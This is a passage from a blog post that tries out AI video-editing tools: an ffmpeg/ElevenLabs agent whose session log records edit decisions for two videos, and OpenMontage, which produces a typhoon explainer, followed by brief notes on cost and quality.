<p>This was roughly an 8-minute talking-head source. The tool analyzed the full spoken content and structure, and flagged stumbles / repeats / rambling for later cuts. Editing is driven by ffmpeg; transcription uses ElevenLabs.</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712215633323.png" alt="" referrerpolicy="no-referrer"></p>
<p>It proposes an edit strategy and asks for your input.</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712220120985.png" alt="" referrerpolicy="no-referrer"></p>
<p>The <code>edit</code> folder holds intermediate artifacts: text animations, segments, scripts, validation, and finals.</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712220242553.png" alt="" referrerpolicy="no-referrer"></p>
<p><code>project.md</code> stores the conversation trail so you can resume the job later:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-markdown">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="cl">Session 1 — 2026-07-11
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Strategy: 将 8分34秒竖屏口播素材压缩为 3 分钟以内的柬埔寨摆地摊分析视频。结构：开场设问 → 政策风险（2019法令+打车平台案例）→ 机会（信息差）→ 建议（选品/长期主义）→ 收尾（旅游签探市场+平价主义）。跳切去除口误和重复，保留打车平台被下架的核心案例。
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Decisions:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">16 段 EDL，总时长 2:58（178.3s）
</span></span><span class="line"><span class="cl">调色 neutral_punch，无字幕，无动画
</span></span><span class="line"><span class="cl">跳过重复口误段（打车平台操作重复、赋能段重复、长段啰嗦）
</span></span><span class="line"><span class="cl">输出 preview.mp4（1080×1920，24fps，-14 LUFS）
</span></span><span class="line"><span class="cl">Reasoning log:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">打车案例保留 RIDE1-3 连贯叙事，删 RIDE2 中「好几万嘟嘟车」冗余
</span></span><span class="line"><span class="cl">ADV3/ADV4 赋能段与 CLOSE 风土人情段为控时长暂删，保留 ADV1+ADV2 核心建议
</span></span><span class="line"><span class="cl">词边界 + 50/80ms padding，30ms 音频淡入淡出
</span></span><span class="line"><span class="cl">Session 1 — 2026-07-11 (update)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Added: 中文字幕（126条 ASS，Heiti SC，底部安全区）、6 个话题动画卡片（橙金配色，顶部弹出）。输出 final.mp4。
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Outstanding: 如需更多动画或调整卡片样式/时间点，反馈即可。
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Session 2 — 2026-07-11
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Strategy: 从零合成 Hugo + LoveIt + Wrangler CLI 教程视频（3 分钟紧凑版）。终端动画展示各步骤命令，ElevenLabs 男声（Daniel）旁白，键盘/whoosh/成功音效，PIL 字幕 overlay 烧录（本机 ffmpeg 无 libass）。
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Decisions:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7 段结构：开场 → 安装/建站 → LoveIt 主题 → 写文章 → 本地预览 → Wrangler 部署 → 收尾
</span></span><span class="line"><span class="cl">1920×1080<span class="ni">@24fps</span>，Catppuccin 终端配色，Menlo 等宽字体
</span></span><span class="line"><span class="cl">总时长 1:50（110s），紧凑节奏
</span></span><span class="line"><span class="cl">输出 edit/hugo-tutorial/final.mp4
</span></span><span class="line"><span class="cl">Reasoning log:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">amix duration=longest 修复 whoosh 段被截断至 0.33s 的问题
</span></span><span class="line"><span class="cl">PIL RGBA overlay 替代 subtitles filter（ffmpeg 未编译 libass）
</span></span><span class="line"><span class="cl">Outstanding: 如需延长至满 3 分钟或替换为真实录屏，反馈即可。</span></span></code></pre></div></div>
<h3 id="takeaways">Takeaways</h3>
<p>The final cut looked solid enough for light / rough editing. I am not embedding that video here; try it yourself if interested. Cost is mainly LLM tokens (whatever model you wire up; DeepSeek V4 worked in a quick test, roughly a couple of RMB) plus ElevenLabs credits. New ElevenLabs accounts get about 10,000 credits; this edit used around 500.</p>
<h2 id="openmontage">OpenMontage</h2>
<blockquote>
<p><a href="https://github.com/calesthio/OpenMontage" target="_blank" rel="noopener noreffer ">https://github.com/calesthio/OpenMontage</a></p>
</blockquote>
<p>I will skip the install details. The interesting part is a local web UI with a task board so you can watch live progress.</p>
<p>My prompt was: “Make a 60-second animated explainer on how typhoon weather forms.” The board looks quite polished:</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/screenshot-2026-07-12-173854.png" alt="" referrerpolicy="no-referrer"></p>
<p>Text-to-speech used the local Xiaohongshu open-source model dots.tts (<a href="https://huggingface.co/spaces/rednote-hilab/dots.tts" target="_blank" rel="noopener noreffer ">Hugging Face Space</a>): script shot text is turned into audio and mixed into the video.</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/screenshot-2026-07-12-174023.png" alt="" referrerpolicy="no-referrer"></p>
<p>Projects land under <code>projects/</code>; finals under <code>exports/</code>.</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712222748939.png" alt="" referrerpolicy="no-referrer"></p>
<p>The resulting clip:</p>
<p><video controls playsinline preload="metadata" src="https://blog.leeissonba.com/videos/posts/ai-video-generation-editing-survey/typhoon-formation-explainer.mp4"></video></p>
<h3 id="takeaways-1">Takeaways</h3>
<p>Quality is average—you can tell it is an AI pipeline product. Fine for simple needs. This was only a quick test without prompt tuning; I will dig deeper later.</p>]]></description></item></channel></rss>